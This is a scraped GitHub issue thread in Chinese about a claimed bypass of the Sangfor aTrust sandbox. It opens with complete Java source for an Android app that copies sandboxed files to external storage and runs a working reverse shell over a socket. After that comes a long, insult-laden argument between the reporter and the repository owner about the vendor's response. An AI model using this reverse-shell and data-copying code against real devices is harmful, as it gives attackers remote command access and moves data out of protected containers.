DaxiaSec / SXF_aTrust_sandbox_bypass

init

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Android Full Version Sandbox Bypass

hluwa opened this issue · comments

1. 将如下 Java 编译为 APK

public class MainActivity extends AppCompatActivity {

    private static final String TAG = "SandboxBypass";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Log.e(TAG, "[1-1] 验证:数据进入沙箱");
        String inSand = new File(getFilesDir(), "flags").getAbsolutePath();
        writeAnyFile(inSand, "flag{x}".getBytes(StandardCharsets.UTF_8));
        Log.e(TAG, String.format("请确认沙箱内 %s 文件写入 flag", inSand));

        Log.e(TAG, "[1-2] 验证:数据出沙箱");
        String outSand = new File(Environment.getExternalStorageDirectory(), "flags").getAbsolutePath();
        writeAnyFile(outSand, readAnyFile(inSand));
        Log.e(TAG, String.format("请确认沙箱外 %s 文件与沙箱内文件数据一致\n\n", outSand));

        new Thread(() -> reverseShell("127.0.0.1", 6666)).start();
    }

    public void reverseShell(final String host, final int port) {
        try {
            String cmd = "/system/bin/sh";
            Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
            Socket s = new Socket(host, port);
            InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
            OutputStream po = p.getOutputStream(), so = s.getOutputStream();
            while (!s.isClosed()) {
                while (pi.available() > 0) so.write(pi.read());
                while (pe.available() > 0) so.write(pe.read());
                while (si.available() > 0) po.write(si.read());
                so.flush();
                po.flush();
                Thread.sleep(50);
            }
            p.destroy();
            s.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private byte[] readAnyFile(String filePath) {
        File file = new File(filePath);
        try {
            InputStream inputStream = new FileInputStream(file);
            byte[] contentBytes = new byte[inputStream.available()];
            inputStream.read(contentBytes);
            inputStream.close();
            return contentBytes;
        } catch (IOException e) {
            e.printStackTrace();
        }
        return null;
    }


    private void writeAnyFile(String filePath, byte[] contentBytes) {
        File file = new File(filePath);
        try {
            OutputStream outputStream = new FileOutputStream(file);
            outputStream.write(contentBytes);
            outputStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}

2. 将 APK 安装到 Android 系统上

懒得编
毕竟哪位睿智能想到安装软件的功能可以穿越沙箱。 是的,不要怀疑自己,就是这么牛逼。

3. 效果

  • 程序可以沙箱内外任意写
  • 程序落地数据,明文可读

[懒得截.jpg]

产品A:

  • 功能1: 允许、拒绝狗吃屎
  • 功能2: 给狗擦屁股

编写程序B,功能如下: 喂狗吃屎

默认情况执行程序B: 狗吃不到屎,权限被拒绝

此时利用功能1设置为拒绝狗吃屎,但利用功能2的业务缺陷,即给狗擦屁股的功能,让狗吃到屎了。

可是自以为是的人总不考虑默认情况下是狗吃不到屎,可楼主这样的人偏偏以为程序允许起来就可以让狗吃屎了。
甚至不假思索,狗擦屁股的功能就是可以让狗吃屎的,即使你明确不让它吃。

最关键的, 本项目不是在于讨论能不能让狗吃屎的问题,而是说这个是正常功能,就好像喝水是水壶的正常功能,我和大家说水壶可以喝水,没啥问题吧,可是卖水壶的却在我和大家说水壶可以喝水后,反过来告我说,水壶可以喝水是一个漏洞,不能和大家说。

楼主这种罔顾事实的态度,令人不齿。

产品A:

  • 功能1: 允许、拒绝狗吃屎
  • 功能2: 给狗擦屁股

编写程序B,功能如下: 喂狗吃屎

默认情况执行程序B: 狗吃不到屎,权限被拒绝

此时利用功能1设置为拒绝狗吃屎,但利用功能2的业务缺陷,即给狗擦屁股的功能,让狗吃到屎了。

可是自以为是的人总不考虑默认情况下是狗吃不到屎,可楼主这样的人偏偏以为程序允许起来就可以让狗吃屎了。 甚至不假思索,狗擦屁股的功能就是可以让狗吃屎的,即使你明确不让它吃。

最关键的, 本项目不是在于讨论能不能让狗吃屎的问题,而是说这个是正常功能,就好像喝水是水壶的正常功能,我和大家说水壶可以喝水,没啥问题吧,可是卖水壶的却在我和大家说水壶可以喝水后,反过来告我说,水壶可以喝水是一个漏洞,不能和大家说。

楼主这种罔顾事实的态度,令人不齿。

哪里罔顾事实了,如果你是 Sandbox Bypass 那我也是 Sandbox Bypass,Github 不是个交流技术的地方吗,我提个 issue 跟你交流思路有错吗? 我跟你聊技术你为什么要跟我聊吃屎? 你说的其他事实与我有关吗?为什么要带着自己的情绪抨击热心网友呢?

防删减
image

我是农村人,我觉得这么举例比较浅显易懂,玩不来你那套花的。

况且我没有抨击你, 你提交这个Issue的意思不就是程序运行起来就bypass了嘛,可是你知道具体的场景?

在你不知道具体场景的情况下,我来丰富场景,描述事实,何来抨击之说?

本项目描述的Sandbox即默认情况下会拒绝数据出入与弹shell,但是利用“正常功能”后,即可破局。而你的Sandbox在哪里呢?

罔顾事实,1. 即不说明你的场景 2. 争执于技术,不顾道义,试图模糊公众焦点,如你所说的Bypass这么简单就是想告诉大家是个垃圾或者假漏洞而已,但这不是重点,重点是我描述一个“正常功能”,厂商为何却如此兴师动众,眼里容不下一个白帽子的一篇文章?

我是农村人,我觉得这么举例比较浅显易懂,玩不来你那套花的。

况且我没有抨击你, 你提交这个Issue的意思不就是程序运行起来就bypass了嘛,可是你知道具体的场景?

在你不知道具体场景的情况下,我来丰富场景,描述事实,何来抨击之说?

本项目描述的Sandbox即默认情况下会拒绝数据出入与弹shell,但是利用“正常功能”后,即可破局。而你的Sandbox在哪里呢?

罔顾事实,1. 即不说明你的场景 2. 争执于技术,不顾道义,试图模糊公众焦点,如你所说的Bypass这么简单就是想告诉大家是个垃圾或者假漏洞而已,但这不是重点,重点是我描述一个“正常功能”,厂商为何却如此兴师动众,眼里容不下一个白帽子的一篇文章?

-1. 我只跟你聊技术,你不要跟我说什么厂商。

  1. 所以你这个 Bypass 跟 "就是程序运行起来就 bypass 了嘛" 的区别在哪里?
  2. 我说你描述事实错了吗?我说你莫名抨击我有错。
  3. 你确定准确说明你的场景了吗? 我都是靠搜索才知道 aTrust 的功能是什么呢。
  4. Android 手机默认情况下也拒绝数据出入与弹 shell。(在你无法执行代码的时候)

另外,如果你开这个仓库的重点不是交流 Sandbox Bypass 而是想说明厂商”眼里容不下一个白帽子的一篇文章“,我站在技术社区的角度希望你删除仓库中与技术无关的内容。

行,就聊技术。

第一点和第四点可以看成一个问题, 客户端程序执行起来就pass了,我想睿智兄也知道这不会是问题,那为什么就认为我会提交这种问题?

事实是程序在没有服务端这个“正常功能”的情况下pass不了,“正常功能”也说的很明白了是避免清空数据的,利用此“功能”可突破安全策略级别的实现客户端的程序的pass。 这个情况和上述是一种情况?

第2,3没必要回答,废话。

由于测试是黑盒在线的场景,我并没法去非常细致的研究,而且环境已没有,利用“正常功能”将原本无法出入沙盒的程序弄得可以出入沙盒,为何不可以用Sandbox Bypass, 这个单词是你注册了?

你认为的技术才是技术,别人的就啥也不是是吧,那我就很好奇,为什么你就有这种居高临下的优越感呢?是不是不上IDA,搞点汇编分析就不是技术?

另外,如果你开这个仓库的重点不是交流 Sandbox Bypass 而是想说明厂商”眼里容不下一个白帽子的一篇文章“,我站在技术社区的角度希望你删除仓库中与技术无关的内容。

我删不删是我的自由,你哪里来的优越感?

  1. 说只聊技术然后又是废话又是优越感又开始质问我单词。
  2. 删不删是你的自由,希望不希望是我的自由,你哪里来的优越感?
  3. 我承认你技术确实牛逼。

@hluwa 我很愿意和你对赌,我也和厂商沟通过有特殊的内核漏洞 0day。你可以让厂商起个环境 ,我当着全世界直播,零配置,直接沙箱逃逸可以吧,逃逸不出来,我给你50万,逃逸出来你给我50万, 敢不敢来。当时这个事情已经和厂商说过,他们不接这单。 我就不懂你这人怎么和那个赛博鼠一样,这么蜜汁自信,为啥啊?

  1. 我不知道你这个人为什么一直说我自信,我发的很多字不都是复制粘贴你的吗?逻辑不清的是你,带情绪的也是你。
  2. 你跟厂商的问题跟我有什么关系 * N,再说我也没有 50 W,不是谁都能跟你一样挖洞那么厉害有那么多赏金的。
  3. 如果你不能跟我聊你的 Sandbox Bypass 跟我的 Sandbox Bypass 有什么区别我就再不回复了。

我为什么不能带情绪?你认为我开这个项目是纯粹好玩?

我现在背负的是厂商对我的出尔反尔和极限施压,你上来就给我扯些有的没的,连基本事实也不知道。

我为什么需要知道你的Sandbox干什么? 我这个项目就是聊我的Sandbox,你是来找存在感?还是告诉别人你很牛逼。

我挖了一个月的洞一分钱没有还要被传唤,我代表的不仅仅是我自己,更是一些想要发声的人。

厂商还诉苦说和我沟通花了10多天,真的笑死,他们拿着工资吹着空调,我是不需要吃还是不需要喝,一个问题要折腾我十来天,分文未入。

你认为我想要的是一笔赏金,我要的是一口气,不是说厂商随便一句话正常功能,然后给不出令人信服的理由或者仲裁就吃掉漏洞。

当然他们说是正常功能我也当成正常功能在本项目介绍。我就不知道怎么冒出你这号B人,合着你半夜在我项目issue里面拉屎,我还不能带点情绪?你能客观点分析我的处境?

  1. 我提的 issue 除了代码之外几乎都是你的原话。
  2. 你为什么要在公共的技术社区拉屎?
  1. 是不是我的原话又怎么了?这很重要?抛开事实不谈是吧。对,抛开事实不谈你还挺像个人
  2. 微软是你家开的? 还是说你是条狗啊,闻着味道就来了,你快滚好不。

一阶段:我技术很牛逼,你是哪根葱。
二阶段:我很惨的,你体谅一下我。
三阶段:我在公共场合拉屎你就能在我头上拉屎?
四阶段:你们都是**

天虽不语人能语,心可欺时天可欺

二佬神仙打架..............

神仙打架

做大佬不光要有好的技术 还得有好的文笔 各种反讽比喻用的淋漓尽致

我为什么不能带情绪?你认为我开这个项目是纯粹好玩?

我现在背负的是厂商对我的出尔反尔和极限施压,你上来就给我扯些有的没的,连基本事实也不知道。

我为什么需要知道你的Sandbox干什么? 我这个项目就是聊我的Sandbox,你是来找存在感?还是告诉别人你很牛逼。

我挖了一个月的洞一分钱没有还要被传唤,我代表的不仅仅是我自己,更是一些想要发声的人。

厂商还诉苦说和我沟通花了10多天,真的笑死,他们拿着工资吹着空调,我是不需要吃还是不需要喝,一个问题要折腾我十来天,分文未入。

你认为我想要的是一笔赏金,我要的是一口气,不是说厂商随便一句话正常功能,然后给不出令人信服的理由或者仲裁就吃掉漏洞。

当然他们说是正常功能我也当成正常功能在本项目介绍。我就不知道怎么冒出你这号B人,合着你半夜在我项目issue里面拉屎,我还不能带点情绪?你能客观点分析我的处境?

大厂有公众发声么?
大厂要是装莽或者说明没有说服力,
那这个大佬就是对的 那绝对支持这种反抗行为,

咋的?大厂可以无条件损害个人利益?个人就不能奋起反抗?
大厂担心负面影响,你以为大厂是怕伤门面吗?他是怕影响自己赚钱。
白帽子挖漏洞,也是赚钱。
大家都是为了赚钱,谁都别装白荷花。
所以那些公关扣什么爱国帽子的,装什么白莲花。

只许大厂窝里恶心人,不许普通人反抗,未免太奴了。